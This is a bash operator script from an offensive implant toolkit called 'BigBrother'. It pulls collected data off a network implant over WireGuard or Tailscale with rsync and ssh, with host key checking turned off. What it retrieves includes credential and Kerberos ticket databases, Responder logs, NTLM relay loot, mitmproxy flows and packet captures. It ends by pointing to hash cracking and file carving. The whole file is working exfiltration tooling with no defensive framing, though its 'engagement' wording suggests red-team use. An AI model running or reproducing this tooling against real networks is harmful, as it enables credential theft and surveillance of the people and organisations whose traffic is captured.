#!/usr/bin/env bash
# BigBrother Operator Script — Pull Data from Implant
#
# Syncs structured data from the implant over WireGuard or Tailscale
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
# all collected intelligence data.
#
# Usage: ./pull_data.sh <implant_host> [output_dir]
#
# Examples:
#   ./pull_data.sh bb-implant-01               # Tailscale hostname
#   ./pull_data.sh 100.64.0.5 /opt/engagements/acme
#   ./pull_data.sh 10.8.0.2 ~/cases/case-001   # WireGuard IP
#
# Requires: rsync, ssh, Tailscale or WireGuard connectivity

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------

IMPLANT="${1:-}"
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
SSH_USER="${BB_SSH_USER:-root}"
SSH_KEY="${BB_SSH_KEY:-}"
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"

if [[ -z "$IMPLANT" ]]; then
    echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
    echo ""
    echo "Environment variables:"
    echo "  BB_SSH_USER   SSH user (default: root)"
    echo "  BB_SSH_KEY    SSH private key path"
    echo "  BB_DATA_DIR   BigBrother data dir on implant (default: /root/.bigbrother)"
    exit 1
fi

SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
if [[ -n "$SSH_KEY" ]]; then
    SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
fi

# ---------------------------------------------------------------------------
# Pre-flight
# ---------------------------------------------------------------------------

echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
echo -e "    Implant:    ${IMPLANT}"
echo -e "    Output:     ${OUTPUT_DIR}"
echo -e "    SSH User:   ${SSH_USER}"
echo ""

# Test connectivity
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
    echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
    exit 1
fi
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"

# Create output directory structure
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}

# ---------------------------------------------------------------------------
# Pull data
# ---------------------------------------------------------------------------

RSYNC_OPTS="-avz --progress --compress-level=9"
if [[ -n "$SSH_KEY" ]]; then
    RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
else
    RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
fi

pull_file() {
    local remote_path="$1"
    local local_dir="$2"
    local description="$3"

    echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
    eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
        echo -e "    ${RED}(not found or empty)${NC}"
}

pull_dir() {
    local remote_path="$1"
    local local_dir="$2"
    local description="$3"

    echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
    eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
        echo -e "    ${RED}(not found or empty)${NC}"
}

# SQLite databases
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"

# PCAPs
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"

# Credential data
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"

# Intelligence data
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"

# Config (for reference)
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"

# ---------------------------------------------------------------------------
# Summary
# ---------------------------------------------------------------------------

echo ""
echo -e "${GREEN}[+] Data pull complete${NC}"
echo -e "    Location: ${OUTPUT_DIR}"
echo ""
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/    /'
echo ""
echo -e "${CYAN}[*] Next steps:${NC}"
echo "    1. Run extract_files.sh on PCAPs for file carving"
echo "    2. Run crack_hashes.sh to crack captured hashes"
echo "    3. Run generate_report.py for engagement report"